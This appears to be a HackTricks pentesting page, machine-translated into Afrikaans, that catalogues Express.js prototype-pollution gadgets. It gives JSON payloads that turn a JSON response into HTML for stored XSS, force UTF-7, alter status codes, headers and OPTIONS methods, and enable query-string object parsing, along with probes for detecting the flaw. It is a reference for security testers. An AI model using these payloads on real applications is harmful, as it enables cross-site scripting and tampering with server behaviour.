Express Prototype Pollution Gadgets

Ondersteun HackTricks

Dien XSS antwoorde aan

Vir verdere besonderhede kyk na die oorspronklike navorsing

Verander JSON inhouds tipe na HTML

In 'n Express-app wat 'n JSON inhouds tipe antwoord gebruik en 'n JSON reflekteer:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhouds tipe nie. egter, met prototipe besoedeling kan ons Express verwar om 'n HTML-antwoord te dien. Hierdie kwesbaarheid is afhanklik van die toepassing wat res.send(obj) gebruik en die liggaam parser met die toepassing/json-inhouds tipe.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Deur body en _body eienskappe te pollute, is dit moontlik om Express te dwing om die HTML inhoud tipe te bedien en die _body eienskap te reflekteer, wat lei tot gestoor XSS.

Render UTF7

Dit is moontlik om express UTF-7 inhoud te laat render met:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Veilige Scanning Tegnieke

JSON spasie

Die volgende PP sal eienskappe binne 'n JSON 'n ekstra spasie gee wat die funksionaliteit nie sal breek nie:

{"__proto__":{"json spaces": " "}}

Dan sal 'n weerspieëlde JSON soos volg lyk:

{"foo":  "bar"} -- Note the extra space

Blootgestelde Koppe

Die volgende PP-gadget sal die bediener laat terugstuur die HTTP-kop: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Dit vereis dat die CORS-module geïnstalleer moet wees

OPTIONS Metode

Met die volgende payload is dit moontlik om 'n metode uit 'n OPTIONS-antwoord te verberg:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Dit is moontlik om die teruggegee statuskode te verander met die volgende PP payload:

{"__proto__":{"status":510}}

Fout

Wanneer jy aan 'n prototipe met 'n primitiewe soos 'n string toewys, produseer dit 'n geen-operasie nie, aangesien die prototipe 'n objek moet wees. As jy probeer om 'n prototipe objek aan die Object.prototype self toe te wys, sal dit 'n uitsondering gooi. Ons kan hierdie twee gedrag gebruik om te detecteer of prototipe besoedeling suksesvol was:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

Wanneer 'n toepassing 'n objek in sy antwoord insluit, kan dit insiggewend wees om 'n attribuut met 'n ongewone naam saam met __proto__ te skep. Spesifiek, as slegs die ongewone attribuut in die antwoord teruggestuur word, kan dit die toepassing se kwesbaarheid aandui:

{"unusualName":"value","__proto__":"test"}

Boonop, in scenario's waar 'n biblioteek soos Lodash gebruik word, bied die instelling van 'n eienskap sowel via prototipe besoedeling (PP) as direk binne die objek 'n ander diagnostiese benadering. As so 'n eienskap uit die antwoord weggelaat word, dui dit daarop dat Lodash die bestaan van die eienskap in die teikenobjek verifieer voordat dit saamgevoeg word:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Laat Punte Toe

Daar is 'n opsie in Express wat jou toelaat om objekte uit navraagstring parameters te skep. Jy kan dit beslis in 'n fout ketting gebruik om 'n prototype besmetting kwesbaarheid te benut.

{"__proto__":{"allowDots":true}}

?foo.bar=baz skep 'n objek in Node.

Verwysings

Ondersteun HackTricks

Last updated